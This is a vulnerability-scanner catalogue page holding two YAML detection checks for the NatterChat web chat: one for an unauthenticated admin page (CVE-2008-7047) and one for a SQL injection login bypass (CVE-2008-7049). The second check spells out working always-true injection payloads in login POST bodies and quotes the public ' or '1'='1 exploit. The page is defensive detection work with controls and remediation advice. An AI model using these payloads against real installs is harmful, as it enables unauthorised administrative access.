NatterChat — 2 vulnerability checks

noctis ships 2 vulnerability checks for NatterChat, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

NatterChat admin/home.asp unauthenticated administration access

CVECVE-2008-7047
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/natterchat/CVE-2008-7047.yaml

Looks for NatterChat (home.asp showing "Welcome to NatterChat") under /natterchat, /chat and the web root. It then requests admin/home.asp without any session or credentials and reports the finding when the reply is the "Natterchat Administration - Home" page, while a random non-existent page of the same admin/ directory does not show that title: the chat administration area is reachable without logging in. When the administration page does not open but home.asp shows NatterChat version 1.1, the issue is reported from the version alone, with lower confidence. Only GET requests are sent; nothing is changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/home.asp
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/admin/home.asp
  5. HTTP(S) request GET {{dir}}/admin/{{rv.r}}.asp
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 75: NatterChat admin/home.asp unauthenticated administration access
  8. Checks fp.ver for ^1\.1$ → finding QoD 70: NatterChat 1.1 admin/home.asp unauthenticated administration access (version)

References:

Feed source — tests/vulnerabilities/natterchat/CVE-2008-7047.yaml
# NatterChat 1.1 admin/home.asp unauthenticated administration access (CVE-2008-7047).
#
# Ported from OpenVAS/Greenbone NVT `2009/gb_natterchat_sec_bypass_vul.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.901004, GPL-2.0-only) and its detection
# `secpod_natterchat_detect.nasl` (GET <dir>/home.asp for /natterchat, /chat and the
# CGI dirs, 200 + "Welcome to NatterChat", version from "[v|V]ersion ([0-9.]+)").
# The NASL then GETs <dir>/admin/home.asp and reports "Natterchat Administration - Home"
# (only when safe_checks is off), otherwise version == 1.1.
#
# Vulnerable code: not public (vendor gone). EDB-7179: a direct request to
# admin/home.asp opens the administration area without logging in.
#
# Better than the NASL:
#   - The admin request runs whatever the version string says (the NASL skips it under
#     safe_checks, its default, and then only compares the version).
#   - Control: a random non-existent admin/<random>.asp page must not carry the
#     administration title, so a catch-all page that echoes it everywhere is not reported.
#   - The admin page is read without following redirects: a hardened install that
#     redirects to the login page is never mistaken for the administration area.
#   - Version 1.1 (also written "v 1.1") with no administration page → QoD 70 version
#     finding, as the NASL does under safe_checks.
# Both requests are plain GETs; nothing is changed.
uid: cc045ab4-c454-45f3-aa42-f3b3a1e1aec2
name: "NatterChat admin/home.asp unauthenticated administration access"
description: >-
  Looks for NatterChat (home.asp showing "Welcome to NatterChat") under /natterchat,
  /chat and the web root. It then requests admin/home.asp without any session or
  credentials and reports the finding when the reply is the "Natterchat Administration -
  Home" page, while a random non-existent page of the same admin/ directory does not
  show that title: the chat administration area is reachable without logging in. When the administration page
  does not open but home.asp shows NatterChat version 1.1, the issue is reported from
  the version alone, with lower confidence. Only GET requests are sent; nothing is changed.
category: auth-bypass
cves: [CVE-2008-7047]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [natterchat, asp, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-7047"
  - "https://www.exploit-db.com/exploits/7179"
  - "http://www.securityfocus.com/bid/32395"

steps:
  - id: gen
    action: script
    code: |
      #{ r: rand_str(10) }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/natterchat", "/chat", ""]

  - id: init-adm
    action: set_var
    var_name: adm
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/home.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home

  - id: gate
    action: script
    code: |
      let b = if type_of(home.body) == "string" { home.body } else { "" };
      let ok = home.status == 200 && ereg("Welcome to NatterChat", b, true);
      // Version next to the product name first, any "version N" as a fallback.
      let m = eregmatch("(?i)natterchat[^<]{0,20}?\\bv(?:ersion)?\\.?\\s*([0-9]+(?:\\.[0-9]+)+)", b);
      if type_of(m) != "array" || m.len() < 2 {
        m = eregmatch("(?i)\\bversion\\s*([0-9]+(?:\\.[0-9]+)+)", b);
      }
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      #{ ok: ok, ver: ver }
    store_as: fp

  - id: admin
    action: http_request
    method: GET
    path: "{{dir}}/admin/home.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    store_as: adm

  # Control: a random page of the same directory must not carry the admin title.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/admin/{{rv.r}}.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn title(r) {
        type_of(r) == "map" && r.status == 200 && type_of(r.body) == "string"
          && ereg("Natterchat Administration - Home", r.body, true)
      }
      let hit = fp.ok && title(adm) && !title(ctl);
      let cst = if type_of(ctl) == "map" { "" + ctl.status } else { "none" };
      #{ hit: hit, v11: fp.ok && !hit && fp.ver == "1.1", st: if hit { "200" } else { "" }, cst: cst }
    store_as: v

  - id: admin-open
    action: match
    source: v.st
    pattern: "."
    condition: "v.hit"
    on_match:
      finding:
        title: "NatterChat admin/home.asp unauthenticated administration access"
        description: "The NatterChat administration page admin/home.asp does not check that the caller is a logged-in administrator: an unauthenticated attacker opens the administration area by requesting it directly and gets access to the chat administration functions (rooms and messages)."
        confidence_delta: 0.55
        qod: 75
        evidence: "NatterChat {{fp.ver}} at {{dir}}/home.asp: GET {{dir}}/admin/home.asp without any session or credentials answered 200 with the \"Natterchat Administration - Home\" page; the random page {{dir}}/admin/{{rv.r}}.asp did not (status {{v.cst}})."
        remediation: "NatterChat is no longer maintained and no fixed release exists: remove it, or restrict access to its admin/ directory (web server authentication or an IP allow-list)."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^1\\.1$"
    condition: "v.v11"
    on_match:
      finding:
        title: "NatterChat 1.1 admin/home.asp unauthenticated administration access (version)"
        description: "The chat identifies itself as NatterChat 1.1, the release whose administration page admin/home.asp opens without a login. The direct request did not show the administration page (for example because the admin/ directory is protected by the web server), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/home.asp shows NatterChat version {{fp.ver}}; GET {{dir}}/admin/home.asp did not show the administration page."
        remediation: "NatterChat is no longer maintained and no fixed release exists: remove it, or restrict access to its admin/ directory (web server authentication or an IP allow-list)."
      stop: true

NatterChat login.asp SQL injection authentication bypass

CVECVE-2008-7049
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/natterchat/CVE-2008-7049.yaml

Looks for NatterChat (home.asp showing "Welcome to NatterChat") under /natterchat, /chat and the web root, then posts three logins to login.asp (txtUsername, txtPassword) without following redirects: a wrong random login, a login whose two fields end with an always-true SQL condition (<random>' or 'N'='N), and one whose fields end with an always-false condition (<random>' or 'N'='M). The finding fires when the always-false login is rejected exactly like the wrong login (same status, redirect target and login form) while the always-true login is answered (no error or block status) with a different result: both fields are evaluated inside the login SQL query and the password check can be bypassed. When the injection gives no result but home.asp shows NatterChat version 1.1 or 1.12, the issue is reported from the version alone, with lower confidence. The requests are ordinary login attempts with random user names; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/home.asp
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  5. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  6. HTTP(S) request POST {{dir}}/login.asp with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks v.st for . → finding QoD 75: NatterChat login.asp SQL injection authentication bypass
  9. Checks fp.ver for ^1\.12?$ → finding QoD 70: NatterChat login.asp SQL injection authentication bypass (version)

References:

Feed source — tests/vulnerabilities/natterchat/CVE-2008-7049.yaml
# NatterChat 1.1 / 1.12 login.asp SQL injection authentication bypass (CVE-2008-7049).
#
# Tracked with CVE-2008-7047 in one backlog item whose reference check
# (OpenVAS/Greenbone NVT `2009/gb_natterchat_sec_bypass_vul.nasl`,
# OID 1.3.6.1.4.1.25623.1.0.901004, GPL-2.0-only) only probes admin/home.asp and the
# version: this login SQL injection is not tested there at all. Detection follows
# `secpod_natterchat_detect.nasl` (home.asp, "Welcome to NatterChat").
#
# Vulnerable code: not public (vendor gone). EDB-7172 / EDB-7175: on the home.asp login
# form, user name admin and password ' or '1'='1 log in — txtUsername and txtPassword
# are concatenated into the login query of login.asp.
#
# Proof without knowing the product's success page: three logins with random values,
# redirects not followed, each reduced to an outcome (status, Location path, a password
# field in the page):
#   1. plain wrong login            <rand> / <rand>
#   2. true condition               <rand>' or 'N'='N in both fields
#   3. false condition (control)    <rand>' or 'N'='M in both fields (last: a lockout
#                                   after repeated failures hits it, failing closed)
# The finding fires when 2 is an answered login (status < 400, not a WAF block) that
# differs from 3 while 3 equals 1: the quote reaches the SQL
# query and the always-true condition changes the login result (QoD 75). Both fields
# carry the condition so it is true whatever the shape of the query. Random user names
# mean no real account is targeted; at most a session is opened as the first account
# of the table. No data is read or changed.
# Version 1.1 / 1.12 shown and no injection result → QoD 70 version finding.
uid: 8c8880c9-2b2e-4a1b-829a-0151544e1014
name: "NatterChat login.asp SQL injection authentication bypass"
description: >-
  Looks for NatterChat (home.asp showing "Welcome to NatterChat") under /natterchat,
  /chat and the web root, then posts three logins to login.asp (txtUsername,
  txtPassword) without following redirects: a wrong random login, a login whose two
  fields end with an always-true SQL condition (<random>' or 'N'='N), and one whose
  fields end with an always-false condition (<random>' or 'N'='M). The finding fires
  when the always-false login is rejected exactly like the wrong login (same status,
  redirect target and login form) while the always-true login is answered (no error
  or block status) with a different result: both fields are evaluated inside the login SQL query and the password check
  can be bypassed. When the injection gives no result but home.asp shows NatterChat
  version 1.1 or 1.12, the issue is reported from the version alone, with lower
  confidence. The requests are ordinary login attempts with random user names; no data
  is read or changed.
category: sqli
cves: [CVE-2008-7049]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [natterchat, asp, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-7049"
  - "https://www.exploit-db.com/exploits/7172"
  - "https://www.exploit-db.com/exploits/7175"
  - "http://www.securityfocus.com/bid/32385"

steps:
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u0: rand_str(8), p0: rand_str(10), u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/natterchat", "/chat", ""]

  - id: init-wrong
    action: set_var
    var_name: wrong
    var_value: {status: 0, body: ""}

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/home.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: home

  - id: gate
    action: script
    code: |
      let b = if type_of(home.body) == "string" { home.body } else { "" };
      let ok = home.status == 200 && ereg("Welcome to NatterChat", b, true);
      // Version next to the product name first, any "version N" as a fallback.
      let m = eregmatch("(?i)natterchat[^<]{0,20}?\\bv(?:ersion)?\\.?\\s*([0-9]+(?:\\.[0-9]+)+)", b);
      if type_of(m) != "array" || m.len() < 2 {
        m = eregmatch("(?i)\\bversion\\s*([0-9]+(?:\\.[0-9]+)+)", b);
      }
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      #{ ok: ok, ver: ver }
    store_as: fp

  # 1. Plain wrong login: the reference rejection.
  - id: wrong
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "txtUsername={{rv.u0}}&txtPassword={{rv.p0}}"
    store_as: wrong

  # 2. Injection: always-true condition in both fields.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "txtUsername={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}&txtPassword={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: inj

  # 3. Control: false condition of the same shape — must be rejected like 1. Sent last,
  # so a lockout or throttle after repeated failures changes it and the check fails closed.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.asp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "txtUsername={{rv.u}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}&txtPassword={{rv.p}}%27+or+%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: ctl

  - id: verdict
    action: script
    code: |
      fn outcome(r) {
        if type_of(r) != "map" || r.status == 0 { return ""; }
        let loc = "";
        if type_of(r.headers) == "map" && type_of(r.headers["location"]) == "string" {
          loc = r.headers["location"];
          let q = loc.index_of("?");
          if q >= 0 { loc = loc.sub_string(0, q); }
        }
        let b = if type_of(r.body) == "string" { r.body } else { "" };
        let form = if ereg("type\\s*=\\s*[\"']?password", b, true) { "form" } else { "noform" };
        "" + r.status + " " + loc + " " + form
      }
      let o1 = outcome(wrong);
      let o2 = outcome(ctl);
      let o3 = outcome(inj);
      // The true-condition reply must look like an answered login, not a block (WAF 403…).
      let served = type_of(inj) == "map" && inj.status > 0 && inj.status < 400;
      let hit = fp.ok && served && o1 != "" && o2 != "" && o3 != "" && o1 == o2 && o3 != o2;
      #{ hit: hit, o1: o1, o2: o2, o3: o3,
         vold: fp.ok && !hit && (fp.ver == "1.1" || fp.ver == "1.12"),
         st: if hit { o3 } else { "" } }
    store_as: v

  - id: sqli-login
    action: match
    source: v.st
    pattern: "."
    condition: "v.hit"
    on_match:
      finding:
        title: "NatterChat login.asp SQL injection authentication bypass"
        description: "The NatterChat login page login.asp concatenates the txtUsername and txtPassword fields into its SQL query: an always-true condition in the fields changes the login result, so an unauthenticated attacker can log in without a password and inject SQL into the login query."
        confidence_delta: 0.55
        qod: 75
        evidence: "NatterChat {{fp.ver}} at {{dir}}/home.asp: POST {{dir}}/login.asp with both fields ending in ' or '{{rv.n}}'='{{rv.n}} gave [{{v.o3}}], while the same login with the false condition '{{rv.n}}'='{{rv.f}} gave [{{v.o2}}], identical to a plain wrong login [{{v.o1}}] (status, redirect target, login form)."
        remediation: "NatterChat is no longer maintained and no fixed release exists: remove it. If it must stay, restrict access to it to trusted users and change the login query of login.asp to a parameterised query."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^1\\.12?$"
    condition: "v.vold"
    on_match:
      finding:
        title: "NatterChat login.asp SQL injection authentication bypass (version)"
        description: "The chat identifies itself as NatterChat 1.1 or 1.12, the releases whose login.asp concatenates the user name and password into its SQL query. The login probe did not show a different result for the always-true condition (for example because the login page lives elsewhere or answers every login the same way), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/home.asp shows NatterChat version {{fp.ver}}; the login probes to {{dir}}/login.asp gave wrong [{{v.o1}}], false [{{v.o2}}], true [{{v.o3}}]."
        remediation: "NatterChat is no longer maintained and no fixed release exists: remove it. If it must stay, restrict access to it to trusted users and change the login query of login.asp to a parameterised query."
      stop: true

View these feeds on GitHub